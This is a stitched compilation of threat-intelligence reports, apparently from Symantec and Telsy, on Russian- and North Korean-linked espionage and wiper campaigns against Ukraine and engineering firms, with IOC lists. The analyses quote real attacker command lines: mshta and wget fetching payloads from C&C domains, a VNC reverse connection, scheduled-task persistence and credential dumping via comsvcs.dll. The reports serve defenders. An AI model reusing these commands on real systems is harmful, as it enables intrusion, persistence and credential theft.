5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db
61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4
67f1db122ad8f01e5faa60e2facf16c0752f6ab24b922f218efce19b0afaf607
7491f298e27eb7ce7ebbf8821527667a88eecd5f3bc5b38cd5611f7ebefde21e
79b7964bde948b70a7c3869d34fe5d5205e6259d77d9ac7451727d68a751aa7d
7aa62af5a55022fd89b3f0c025ea508128a03aab5bc7f92787b30a3e9bc5c6e4
8769912b9769b4c11aabc523a699d029917851822d4bc1cb6cc65b0c27d2b135
8aace6989484b88abc7e3ec6f70b60d4554bf8ee0f1ccad15db84ad04c953c2d
942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6
a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776
bdb76c8d0afcd6b57c8f1fa644765b95375af2c3a844c286db7f60cf9ca1a22a
d815fb8febaf113f3cec82f552dfec1f205071a0492f7e6a2657fa6b069648c6
e1997d1c3d84c29e02b1b7b726a0d0f889a044d7cd339f4fb88194c2c0c6606d
e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba
ef987baef9a1619454b14e1fec64283808d4e0ce16fb87d06049bfcf9cf56af3
f29d386bdf77142cf2436797fba1f8b05fab5597218c2b77f57e46b8400eb9de
f7359490d6c141ef7a9ee2c03dbbd6ce3069e926d83439e1f8a3dfb3a7c3dc94
f8995634b102179a5d3356c6f353cb3a42283d9822e157502486262a3af4447e
ff167e09b3b7ad6ed1dead9ee5b4747dd308699a00905e86162d1ec1b61e0476
Network
52.79.118.195
61.81.50.174
[URL]/[FOLDER]/[FILENAME]asp?prd_fld=racket
happy.nanoace[.]co.kr
hxxp://happy.nanoace[.]co.kr/Content/rating/themes/krajee-fas/FrmAMEISMngWeb.asp
hxxps://mariamchurch[.]com/board/news/index.asp
hxxps://www.aumentarelevisite[.]com/img/context/offline.php
mariamchurch.com
www.aumentarelevisite[.]com
www.juneprint[.]com
www.jungfrau[.]co.kr
www.ric-camid[.]re.kr
File names
addins.cpl
dolby.cpl
ezhelp.cpl
final.cpl
officecert.ocx
wpm.cpl
Services
About the Author
Threat Hunter Team
Symantec
The Threat Hunter Team is a group of security experts within Symantec whose mission is to
investigate targeted attacks, drive enhanced protection in Symantec products, and offer
analysis that helps customers respond to attacks.
Shuckworm Continues Cyber-Espionage Attacks Against
Ukraine
symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
The Russia-linked Shuckworm group (aka Gamaredon, Armageddon) is continuing to
conduct cyber-espionage attacks against targets in Ukraine. Over the course of recent
months, Symantec
s Threat Hunter Team, a part of Broadcom Software, has found evidence
of attempted attacks against a number of organizations in the country.
Active since at least 2013, Shuckworm specializes in cyber-espionage campaigns mainly
against entities in Ukraine. The group is known to use phishing emails to distribute either
freely available remote access tools, including Remote Manipulator System (RMS) and
UltraVNC, or customized malware called Pterodo/Pteranodon to targets. A recent report
published by The Security Service of Ukraine (SSU) noted that Shuckworm
s attacks have
grown in sophistication in recent times, with attackers now using living-off-the-land tools to
steal credentials and move laterally on victim networks. Recent activity seen by Symantec is
consistent with that documented by SSU.
Shuckworm activity: Case study
Symantec observed Shuckworm activity on an organization in Ukraine, which began on July
14, 2021 and continued until August 18, 2021. The attack chain began with a malicious
document, likely sent via a phishing email, which was opened by the user of the infected
machine. The following is a breakdown of the attackers
 activity on the compromised
computer.
July 14
At 08:48 (local-time), a suspicious Word document is opened on the machine. Just five
minutes after the document is opened, a suspicious command is also executed to launch a
malicious VBS file (depended.lnk). This file is a known custom backdoor leveraged by
Shuckworm (aka Pterodo).
wscript.exe CSIDL_PROFILE\searches\depended.lnk //e:VBScript //b
The backdoor is used to download and execute CSIDL_PROFILE\searches\depended.exe
(94a78d5dce553832d61b59e0dda9ef2c33c10634ba4af3acb7fb7cf43be17a5b) from
hxxp://92.242.62.131/wordpress.php?is=[REDACTED].
Two additional VBS scripts are observed being executed via depended.exe:
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\roaming\reflect.rar
//e:VBScript //b
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\deepthoughted. //e:VBScript //b
A scheduled task is then created to likely ensure persistence between system reboots and to
execute the dropped script. This ensures the VBS file deep-thoughted.ppt is executed every
10 minutes:
SCHTASKS /CREATE /sc minute /mo 10 /tn "deep-thoughted" /tr "wscript.exe "
CSIDL_COMMON_PICTURES\deep-thoughted.ppt //e:VBScript //b" /F
Later, the attackers are observed executing an HTA file hosted on a remote server by abusing
mshta.exe via depended.exe. The Mshta utility can execute Microsoft HTML Application
(HTA) files and can be abused to bypass application control solutions. Since mshta.exe
executes outside of Internet Explorer's security context, it also bypasses browser security
settings.
"CSIDL_SYSTEM\cmd.exe" /c CSIDL_SYSTEM\mshta.exe
hxxp://fiordan.ru/FILM.html /f id=[REDACTED]
At the same time, a new variant of Pterodo is installed via depended.exe.
Similarly to before, two additional scheduled tasks are created:
"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "MediaConverter" /tr
"wscript.exe " CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b " /F"
"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "VideoHostName"
/tr "wscript.exe " CSIDL_COMMON_VIDEO\webmedia.m3u //e:VBScript //b " /F"
The attackers continue to install variants of their backdoor and execute commands via scripts
to ensure persistence:
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\22333.docx
//e:VBScript //b
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\9140.d
//e:VBScript //b
wscript.exe CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b
schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr
"wscript.exe C:\Users\o.korol\AppData\Roaming\battery\battery.dat //e:VBScript
//b"
"CSIDL_SYSTEM\cmd.exe" /c
CSIDL_PROFILE\appdata\roaming\battery\battery.cmd
Directly after this, it appears the attackers test connectivity to a new C&C server via ping.exe:
CSIDL_SYSTEM\cmd.exe /c ping -n 1 arianat.ru
Once the connection is confirmed to be active, the attackers proceed to download another
variant of their Pterodo backdoor and begin using the new C&C to download additional
scripts and tools, as well as creating scheduled tasks to run every few minutes.
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\12382.
//e:VBScript //b
"CSIDL_SYSTEM\cmd.exe" /c CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7ZIP.html /f id=<?,?>
CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7-ZIP.html /f id=<?,?>
"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "MediaConverter" /tr
"wscript.exe " CSIDL_COMMON_MUSIC\mediatv.mov //e:VBScript //b " /F"
"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "VideoHostName"
/tr "wscript.exe " CSIDL_COMMON_VIDEO\videotv.m3u //e:VBScript //b " /F"
At this point, the attackers cease activity. However, we continue to see commands being
executed from the scheduled tasks for the remainder of July 14.
July 16
At 05:28, the attackers return, and several additional variants of Pterodo are executed via
CSIDL_COMMON_VIDEO\planeta.exe
(1ea3881d5d03214d6b7e37fb7b10221ef51782080a24cc3e275f42a3c1ea99c1).
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\32440.docx
//e:VBScript //b
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\20507.d
//e:VBScript //b
The attackers are then observed executing commands via planeta.exe:
CSIDL_SYSTEM\cmd.exe /c ""CSIDL_PROFILE\appdata\local\temp\7zsfx000."" ""
"CSIDL_SYSTEM\cmd.exe" /c ipconfig /flushdns
The above flushdns command may indicate that the attackers have updated the DNS records
for their C&Cs, as we observed some of their tools use hard-coded domains. In this particular
instance, the flushdns command was executed shortly before the attackers attempted to
install additional backdoors that leveraged the same C&C.
July 28
Later, another variant ofPterodo (deep-sided.fly) was executed and was used to download
and execute a new file called deerskin.exe
(ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29). This file is a
dropper for a VNC client. When executed, it pings google DNS (8.8.8.8) to test internet
connectivity, then proceeds to drop a VNC client and establishes a connection to a remote
C&C server controlled by the attackers:
"%USERPROFILE%\Contacts\DriversHood.exe" -autoreconnect -id:2097 -connect
mucoris.ru:5612
Two such files have been identified that perform the same actions:
1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f
ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29
This VNC client appears to be the ultimate payload for this attack.
Between July 29 and August 18 activity continued whereby we observed the attackers
deploying multiple variants of their custom VBS backdoor along with executing VBS scripts
and creating scheduled tasks similar to the ones detailed above. After August 18, no further
suspicious activity was observed on this machine.
During the course of this investigation, specifically post VNC client installation, a number of
documents were opened from various locations on the compromised machine. It is unclear if
this was legitimate user activity or the activity of the attackers attempting to collect and
exfiltrate sensitive information. Titles of the documents accessed ranged from job
descriptions to sensitive information pertaining to the targeted organization.
Technical descriptions
Symantec investigations uncovered a total of seven files used by Shuckworm in recent
attacks. All seven files are 7-zip SFX self-extracting binaries, a format used previously in
Shuckworm attacks.
descend.exe
Upon execution, the file named descend.exe
(0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137) drops a VBS
file which, in turn, drops a second VBS file in the following locations:
%USERPROFILE%\Downloads\deerbrook.ppt
%PUBLIC%\Pictures\deerbrook.ppt
It then creates the following task:
SCHTASKS /CREATE /sc minute /mo 11 /tn "deerbrook" /tr "wscript.exe
'<DROPPED_FOLDER>\deerbrook.ppt' //e:VBScript //b" /F
The file deerbrook.ppt
(b46e872375b3c910fb589ab75bf130f7e276c4bcd913705a140ac76d9d373c9e) VBS file
contacts a command-and-control (C&C) server at deep-pitched.enarto.ru. If the C&C server is
available, a HTTP POST request is sent to download a payload, which is saved in the
%USERPROFILE% folder as deep-sunken.tmp then renamed to deep-sunken.exe and
executed. The binary is then deleted.
deep-sunken.exe
Upon execution, the file deep-sunken.exe
(02c41bddd087522ce60f9376e499dcee6259853dcb50ddad70cb3ef8dd77c200) drops the
following files on the compromised computer:
%APPDATA%\baby\baby.cmd
%APPDATA%\baby\baby.dat
%APPDATA%\baby\basement.exe (wget binary)
%APPDATA%\baby\vb_baby.vbs
It then creates the following task:
schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr
"wscript.exe [%APPDATA%]\baby\baby.dat" //e:VBScript //b
It then connects to a C&C server (arianat.ru) to download another payload using wget:
basement.exe --user-agent="Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64::
[VICTIM_ID]::/.beagle/." -q -b -c -t 2 "hxxp://arianat.ru/baby.php" -P "
[%APPDATA%]\baby"
The baby.dat file is a VBS file that executes baby.cmd, which then downloads and executes
the payload from the C&C server.
The vb_baby.vbs file renames the downloaded payload from baby.php to backed.exe.
The downloaded payload (backed.exe) could not be retrieved. However, the following files
were also obtained during our investigation:
z4z05jn4.egf.exe
The file z4z05jn4.egf.exe
(fd9a9dd9c73088d1ffdea85540ee671d8abb6b5ab37d66a760b2350951c784d0) is similar to
the previous file (deep-sunken.exe) but with different folders, file names, and C&C server
(iruto.ru).
defiant.exe
Once executed, the file defiant.exe
(a20e38bacc979a5aa18f1954df1a2c0558ba23cdc1503af0ad1021c330f1e455) drops a VBS file
in the following locations:
%TEMP%\\deep-versed.nls
%PUBLIC\Pictures\deep-versed.nls
It then creates the following task:
SCHTASKS /CREATE /sc minute /mo 12 /tn \"deep-versed\" /tr \"wscript.exe \"
[%PUBLIC%]\\Pictures\\deep-versed.nls\" //e:VBScript //b\" /F
The dropped file deep-versed.nls
(817901df616c77dd1e5694e3d75aebb3a52464c23a06820517108c74edd07fbc) downloads a
payload from a C&C server (deep-toned.chehalo.ru) and saves it as deep-green.exe in the
following location:
%PUBLIC%\Downloads
deep-green.exe
The file deep-green.exe
(1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f) contains an
UltraVNC binary, which upon execution connects to a repeater (mucoris.ru:5612) using the
following command line:
-autoreconnect -id:%RANDOM% -connect mucoris.ru:5612
UltraVNC is an open-source remote-administration/remote-desktop-software utility.
deep-green.exe
A second file named deep-green.exe
(f6c56a51c1f0139036e80a517a6634d4d87d05cce17c4ca5adc1055b42bf03aa) contain a
Process Explorer (procexp) binary.
Process Explorer is a freeware task manager and system monitor for Microsoft Windows.
deep-green.exe
A third file called deep-green.exe
(de5a53a3b75e3e730755af09e3cacb7e6d171fc9b1853a7200e5dfb9044ab20a) is similar to
descend.exe (0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137)
just with different file names and C&C server (deer-lick.chehalo.ru).
deep-green.exe
The fourth and final file named deep-green.exe
(d15a7e69769f4727f7b522995a17a0206ac9450cfb0dfe1fc98fd32272ee5ba7) drops a VBS file
in the following location:
%PUBLIC%\Music\
It then creates the following task:
"/CREATE /sc minute /mo 12 /tn \"MediaConverter\" /tr \"wscript.exe
\"C:\\Users\\Public\\Music\\MediaConvertor.dat\" //e:VBScript //b \" /F"
The MediaConvertor.dat file searches for removable drives and creates a .lnk file with the
following command:
mshta.exe hxxp://PLAZMA.VIBER.ontroma.ru/PLAZMA.html /f id=January
IOC patterns
Analysis of the many indicators of compromise (IOCs) uncovered during our investigations
have revealed the following patterns, which may be of use when defending networks from
Shuckworm attacks:
Most URL C&C IPs belong to the short list of hosting providers listed in the SSU report,
namely AS9123 TimeWeb Ltd. (Russia).
Most discovered suspected C&C URLs are IP-based URLs and use a unique URI
structure:
http + IP + /<some-word>.php?<some-word>=<1-integer>,<5-7-randalphanums> OR
http + IP + /<some-word>.php?<some-word>=<1-integer>,<5-7-randalphanums>-<2-integers>
Most suspected malicious files are found in one of a short list of directories:
csidl_profile\links
csidl_profile\searches
CSIDL_PROFILE\appdata\local\temp\
CSIDL_PROFILE\
Nearly all the suspected malicious files are made up of a word beginning with the letter
"d" and a few are composed of two words separated by a "-" (first word also starting
with "d"). Examples include:
deceive.exe
deceived.exe
deception.exe
deceptive.exe
decide.exe
decided.exe
decipher.exe
decisive.exe
deep-sunken.exe
deep-vaulted.exe
Detected command lines are simple and consist of just the binary path + name; no
switches, etc.
Many suspected malicious files have unknown parent process hashes, none of which
have available information.
According to a November 2021 report from the SSU, since 2014 the Shuckworm group has
been responsible for over 5,000 attacks against more than 1,500 Ukrainian government
systems. As evidenced by Symantec
s recent investigations into attempted Shuckworm
attacks against a number of organizations in Ukraine, this activity shows little sign of abating.
The Threat Hunter Team is a group of security experts within Symantec whose
mission is to investigate targeted attacks, drive enhanced protection in Symantec
products, and offer analysis that helps customers respond to attacks.
Stonefly: North Korea-linked Spying Operation Continues
to Hit High-value Targets
symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage
The North Korean-linked Stonefly group is continuing to mount espionage attacks against
highly specialized engineering companies with a likely goal of obtaining sensitive intellectual
property.
Stonefly specializes in mounting highly selective targeted attacks against targets that could
yield intelligence to assist strategically important sectors such as energy, aerospace, and
military equipment. Virtually all of the technologies it appears to be interested in have
military as well as civilian uses and some could have applications in the development of
advanced weaponry.
History of ambitious attacks
Stonefly (aka DarkSeoul, BlackMine, Operation Troy, and Silent Chollima) first came to
notice in July 2009, when it mounted distributed denial-of-service (DDoS) attacks against a
number of South Korean, U.S. government, and financial websites.
It reappeared again in 2011, when it launched more DDoS attacks, but also revealed an
espionage element to its attacks when it was found to be using a sophisticated backdoor
Trojan (Backdoor.Prioxer) against selected targets.
In March 2013, the group was linked to the Jokra (Tojan.Jokra) disk-wiping attacks against a
number of South Korean banks and broadcasters. Three months later, the group was
involved in a string of DDoS attacks against South Korean government websites.
In recent years, the group
s capabilities have grown markedly and, since at least 2019
Symantec has seen its focus shift solely to espionage operations against select, high-value
targets. It now appears to specialize in targeting organizations that hold classified or highly
sensitive information or intellectual property. Stonefly
s operations appear to be part of a
broader North Korean-sponsored campaign to acquire information and intellectual property,
with Operation Dream Job, a more wider-ranging trawl across multiple sectors, being carried
out by another North Korean group, Pompilus.
Latest target
The most recent attack discovered by Symantec, a division of Broadcom Software, was
against an engineering firm that works in the energy and military sectors. The attackers
breached the organization in February 2022, most likely by exploiting the Log4j vulnerability
(CVE-2021-44228) vulnerability on a public-facing VMware View server. The attackers then
moved across the network and compromised 18 other computers.
17 hours later: Shortly after compromising the initial server, the attackers installed an
updated version of Stonefly
s Backdoor.Preft malware (aka Dtrack, Valefor). The attackers
then used a masqueraded version (file name: pvhost.exe) of PuTTY
s PSCP command line
application, presumably to exfiltrate data from the infected machine. Shortly after PSCP was
executed, the credential-dumping tool Mimikatz (masquerading under the file name pl.exe)
was run.
Day 2: Malicious activity resumed when 3proxy tiny proxy server, a publicly available proxy
tool (file name: svhost.exe) was executed. Use of this tool continued for the next four days. A
second suspected proxy tool was installed two days into this four day period (file name:
tapi.exe). Several hours afterwards, a copy of the Preft backdoor (file name: svchost.exe) was
installed. Two days later, WinSCP, an open-source SSH file-transfer tool was used,
presumably to exfiltrate or upload data to the compromised computer.
Day 3: The next phase of the intrusion began on the following day, when Preft was executed
and the attackers began moving latterly across the organization
s network, using InvokeTheHash, a publicly available PowerShell pass-the-hash utility (file name: rev.ps1), and
wmiexec.py, a publicly available Impacket tool used to run WMI commands (file name:
notepad.exe).
Updated Preft backdoor
The attackers used an updated version of Stonefly
s custom Preft backdoor. Analysis of the
backdoor revealed that it is a multistage tool:
Stage 1 is the main binary. A python script is used to unpack the binary and shellcode.
Stage 2 is shellcode. It performs the following actions:
Sleeps for 19,999 seconds, probably in an attempt to evade sandbox detection
Opens a mutex, with the name specified in the Stage 3 shellcode
Instead of loading an executable file, it starts Internet Explorer (iexplore.exe) or
explorer.exe and injects the Stage 3 shellcode into either. It sets up a named pipe
("\.\pipe\pipe") for communication. The file name of the main binary is sent over the
pipe.
Stage 3 is more shellcode.
Stage 4 is the payload. It is an HTTP remote access tool (RAT) that supports various
commands, including:
1. Download (Download a file and save locally)
2. Upload (Upload a file to a C&C server)
3. Set Interval (Change C&C server query interval - in minutes)
4. Shell Execute (Execute a command in the shell)
5. Download Plugin
6. Update (Download a new version and replace)
7. Info (Return debug information about the current infection)
8. Uninstall
9. Download Executable
The malware can support four different kinds of plugins: executable files, VBS, BAT, and
shellcode. It supports three different persistence modes: Startup_LNK, Service, Registry, and
Task Scheduler.
Custom information stealer
Along with the Preft backdoor, Stonefly also deployed what appears to be a custom developed
information stealer (infostealer). Analysis of this malware revealed that it is a three-staged
threat. The main binary extracts and decrypts the encrypted shellcode with a modified RC4
algorithm.
Stage 2 is shellcode which retrieves the payload and decrypts it with the same modified RC4
algorithm. The decrypted payload is an executable file that is loaded in-memory. It is
designed to search the infected computer for files using pre-configured parameters. These
are then copied to temporary files before being copied to a single .zip file and the temporary
files are removed. The ZIP file path is %TEMP/~[XXXXXXXX].tmp, where XXXXXXXX is a
simple hash of the computer name (eight uppercase hex digits).
Curiously, this ZIP file is not automatically exfiltrated. It is possible that the exfiltration
functionality was removed and the attackers planned to use an alternative means of
exfiltration.
High-value targets
While Stonefly
s tools and tactics continue to evolve, there are some common threads
between this recent activity and previous attacks, such as its ongoing development of the
Preft backdoor and heavy reliance on open-source tools.
The group
s capabilities and its narrow focus on acquiring sensitive information make it one
of the most potent North Korean cyber threat actors operating today.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect
and block that file.
About the Author
Threat Hunter Team
Symantec
The Threat Hunter Team is a group of security experts within Symantec whose mission is to
investigate targeted attacks, drive enhanced protection in Symantec products, and offer
analysis that helps customers respond to attacks.
Ukraine: Disk-wiping Attacks Precede Russian Invasion
symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia
UPDATE February 24, 2022, 13:42: This blog has been updated with details about ransomware being used as a
possible decoy during some wiper attacks.
A new form of disk-wiping malware (Trojan.Killdisk) was used to attack organizations in Ukraine shortly before the
launch of a Russian invasion this morning (February 24). Symantec, a division of Broadcom Software, has also found
evidence of wiper attacks against machines in Lithuania. Sectors targeted included organizations in the financial,
defense, aviation, and IT services sectors.
Trojan.Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd.
It contains 32-bit and 64-bit driver files which are compressed by the Lempel-Ziv algorithm stored in their resource
section. The driver files are signed by a certificate issued to EaseUS Partition Master. The malware will drop the
corresponding file according to the operating system (OS) version of the infected system. Driver file names are
generated using the Process ID of the wiper
Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable. The
wiper does not appear to have any additional functionality beyond its destructive capabilities.
Attack chain
Initial indications suggest that the attacks may have been in preparation for some time. Temporal evidence points to
potentially related malicious activity beginning as early as November 2021. However, we are continuing to review and
verify findings.
In the case of an attack against one organization in Ukraine, the attackers appear to have gained access to the network
on December 23, 2021, via malicious SMB activity against a Microsoft Exchange Server. This was immediately followed
by credential theft. A web shell was also installed on January 16, before the wiper was deployed on February 23.
An organization in Lithuania was compromised from at least November 12, 2021, onwards. It appears the attackers
may have leveraged a Tomcat exploit in order to execute a PowerShell command. The decoded PowerShell was used to
download a JPEG file from an internal server, on the victim
s network.
cmd.exe /Q /c powershell -c "(New-Object
System.Net.WebClient).DownloadFile('hxxp://192.168.3.13/email.jpeg','CSIDL_SYSTEM_DRIVE\temp\sys.tmp1')"
1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1
A minute later, the attackers created a scheduled task to execute a suspicious 
postgresql.exe
 file, weekly on a
Wednesday, specifically at 11:05 local-time. The attackers then ran this scheduled task to execute the task.
cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1
CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1
schtasks /run /tn "\Microsoft\Windows\termsrv\licensing\TlsAccess"
Nine minutes later, the attackers modified the scheduled task to execute the same postgres.exe file at 09:30 local-time
instead.
Beginning on February 22, Symantec observed the file 
postgresql.exe
 being executed and used to perform the
following:
Execute certutil to check connectivity to trustsecpro[.]com and whatismyip[.]com
Execute a PowerShell command to download another JPEG file from a compromised web server confluence[.]novus[.]ua
Following this activity, PowerShell was used to dump credentials from the compromised machine:
cmd.exe /Q /c powershell -c "rundll32 C:\windows\system32\comsvcs.dll MiniDump 600
C:\asm\appdata\local\microsoft\windows\winupd.log full" 1> \\127.0.0.1\ADMIN$\__1638457529.1247072
2>&1
Later, following the above activity, several unknown PowerShell scripts were executed.
powershell -v 2 -exec bypass -File text.ps1
powershell -exec bypass gp.ps1
powershell -exec bypass -File link.ps1
Five minutes later, the wiper (Trojan.KillDisk) was deployed.
Ransomware decoy
In several attacks Symantec has investigated to date, ransomware was also deployed against affected organizations at
the same time as the wiper. As with the wiper, scheduled tasks were used to deploy the ransomware. File names used
by the ransomware included client.exe, cdir.exe, cname.exe, connh.exe, and intpub.exe. It appears likely that the
ransomware was used as a decoy or distraction from the wiper attacks. This has some similarities to the earlier
WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
Cyber Reports
BabaDeda and LorecCPL
downloaders used to run Outsteel
against Ukraine
TELSY S.p.A.
Corso Svizzera, 185 - 10149 Torino 
 ITALIA
Via del Pellegrino 155 - 00186 Roma - ITALIA
16/02/2022
tel +39.011.771.4343 - fax +39.011.741.9090
email: telsy@telsy.it
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 16/02/2022
INDEX
Introduction ....................................................................................................................................3
Analysis ........................................................................................................................................... 4
Double BabaDeda crypter downloaded from LNK or docm template ................ 6
2.1.1
First Stage........................................................................................................................................ 8
2.1.2
WhisperGate Code OVERLAP .................................................................................................. 19
BABADEDA Crypter Dropped from a new Downloader ......................................... 22
LorecCPL downloads ASPProtected Outsteel............................................................27
Indicators of Compromise........................................................................................................ 33
ATT&CK Matrix............................................................................................................................ 34
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1 Introduction
Beginning in January 2022, there was a series of attacks on numerous organizations in
Ukraine spanning the government, the military, non-governmental organizations (NGOs),
with the primary intent of exfiltrating sensitive information and maintaining access.
Based on these new details and Telsy's threat hunt, we uncovered several links that
strongly support the idea that these attacks were part of a larger campaign that has been
running for a few months and has undergone several evolutions.
In this way we have mapped the various clusters and in particular three chains of infection,
composed of a series of techniques and procedures, with several significant elements that
we consider important to better understand the various phases implemented.
One of the most used access vectors in these campaigns are spear-phishing emails with
malicious attachments. Phishing attachments contain a first-stage payload that
downloads and executes additional payloads. The main payload provided by the malware
is an infostealer written in AutoIt compiled (OutSteel). Its main goal is to steal files from
the victim's machine by uploading them to a default Command and control (C2) server.
The element detected in these latter chains is the downloader used to load the infostealer
Outsteel
. In the past this was loaded by the SaintBot tool while in these campaigns, it is
loaded by the BabaDeda crypter.
Based on victimology and the fact that this attack attempts to steal files from government
entities, it is assumed to be a state-sponsored group.
Some evidence suggests that these activities are carried out by a hacker group called
Lorec53
 as namede by the security firm 
NSFocus
. The group is suspected of being
employed by other high-level espionage organisations to conduct espionage attacks,
targeting government employees in Georgia and Ukraine. This group uses the infostealer
"Outsteel" and the downloader "LorecCPL", both of which have overlapping code with the
same artefacts identified in the campaigns analysed in this report. We can therefore
assume that the BabaDeda crypter is also one of the tools in use by this group.
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entities graph
2 Analysis
Telsy detected several infection chains starting with different initial stages: document
template, LNK file or a CPL file representing a new type of downloader very similar to a
shellcode in the way the stack is used.
The second phase uses the BabaDeda crypter to run the infostealer called OutSteel.
BabaDeda Crypter is an evasive malware that acts like an installer and executes a
shellcode stored encrypted in a file usually, xml or pdf, dropped by the installer self. The
main binary of BabaDeda Crypter it
s a malicious binary, compiled with text segment
writable, that has only the purpose to load the 1st malicious library.
The first malicious DLL side loaded decrypt the shellcode storing it in the text section of
the main binary and loads/execute the secondary malicious library in another thread then
return to the decrypted shellcode.
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The decrypted shellcode represents the real payload embedded in the installer by the
threat actor while the 2nd malicious library can embed every kind of malware. In the
samples that we found the 2nd library is used sometime as downloader and in other cases
as thread to achieve persistence, it depends by the stage.
execution process graph
Below a kind of time line that describes how the tools were employed in the time, most
likely, by the same threat actor.
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2.1 Double BabaDeda crypter downloaded from LNK or docm template
This infection chain, which can be placed in the period September / October 2021
according to the compilation times, starts with a link (LNK) or a WORD template
document that downloads the BabaDeda crypter. The BabaDeda crypter includes Outsteel
as a payload and a downloader as 2nd library.
execution process graph
The lnk file with hash 931a86f402fee99ae1358bb0b76d055b2d04518f, most likely
distributed by e-mail, named 
.lnk
 (Special documents of the
SBU.lnk) is, clearly, a decoy document for Ukrainian defense officers. This lnk file was
contained in zip archives hosted on discord.
When open it executes a PowerShell command to download and execute the first phase
from the URL: 
hxxp: //3237.site/test01.exe
The downloaded executable with hash 0d584d72fe321332df0b0a17720191ad96737f47 is
stored in the public directory and it is executed from the PowerShell self.
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Instead the document with hash ac672a07c62d48c0a7f98554038913770efaef11 is a word
dotm model and starts the first phase of the infection in the same way as the lnk file,
downloading
executing
same
artifact
through
PowerShell:
hxxp://3237.site/test01.exe.
The following document header suggests that this document may have been used after
September 2021.
Addition to the decision of the National Security and Defense Council of Ukraine of
September 7, 2021 "On Amendments to Personal Special Economic and Other Restrictive
Measures (Sanctions)
The template contains a macro that on the open event drops a cmd file with a PowerShell
command inside.
The cmd file is stored in 
C:\Users\Public\Documents\programtwo.cmd
 and contains the
PowerShell command to download the artifact from URL 
hxxp: //3237.site/test01.exe
and save it in 
C:\Users\Public\Documents\manlevel.exe
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As in the previous LNK document the PowerShell command runs the downloaded file.
Also, the WORD template has been hosted on discord and is most likely downloaded as a
remote template from a docx released by email.
2.1.1 First Stage
Both files, lnk and WORD template, downloads the same installer has been created with
Inno Setup.
Once executed, it extracts all the components in the path:
C:\Users\admin\AppData\Roaming\mXParser
main
executable,
named
mathparser.exe
whose
hash
26474ba449682e82ca38fef32836dcb23ee24012, is executed directly by the installer after
all the components have been extracted.
This installation is a BabaDeda crypter, i.e. a type of loader. In fact, as described in the
blog of the security company "Morphisec
, it is used to evasively load a malicious payload
stored in another file. Since the analysis cited by the blog is exhaustive, it was not
performed.
This loader was reported in November 2021 in connection with attacks against the NFT
and Crypto community. Instead, it was used in these campaigns, leading to the
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assumption that it could be code reuse or the action of the same cybercriminal group in
favour of a state-sponsored threat actor.
Basically, the BabaDeda crypter phases are:
1. Main Binary load and run a malicious DLL;
2. The malicious DLL load and execute in another thread the second malicious DLL;
3. The first malicious DLL read and parse the shellcode and write it in the text section
of the main binary;
4. The first malicious DLL returns to the shellcode entry point;
5. The decryption shellcode has three main tasks: first, it extracts the loader shellcode
and the payload, then it decrypts them, and finally, it transfers the execution to the
decrypted loader shellcode.
6. Finally, the payload is executed.
Since the second loaded DLL and the final payload can be customised, BabaDeda crypter
can be used to load any type of installation, in fact in this particular infection chain the
first installer is intended to download and run another BabaDeda crypter. This differs from
the analysis carried out by the company Morphisec in November 2021 in which the samples
analysed were only used to directly upload malicious artefacts.
The 
mathparser
 installation directory contains the following malicious files:
NAME
SHA1
PURPOSE
mathparser.exe
JxCnv40.dll
libics4.0.dll
manual.pdf
26474ba449682e82ca38fef32836dcb23ee24012
7d44391b76368b8331c4f468f8ddbaf6ee5a6793
e1d92e085df142d703ed9fd9c65ed92562a759fa
8423b25054aa78535c49042295558f33d34deae1
Main malicious Binary
1st Loaded DLL
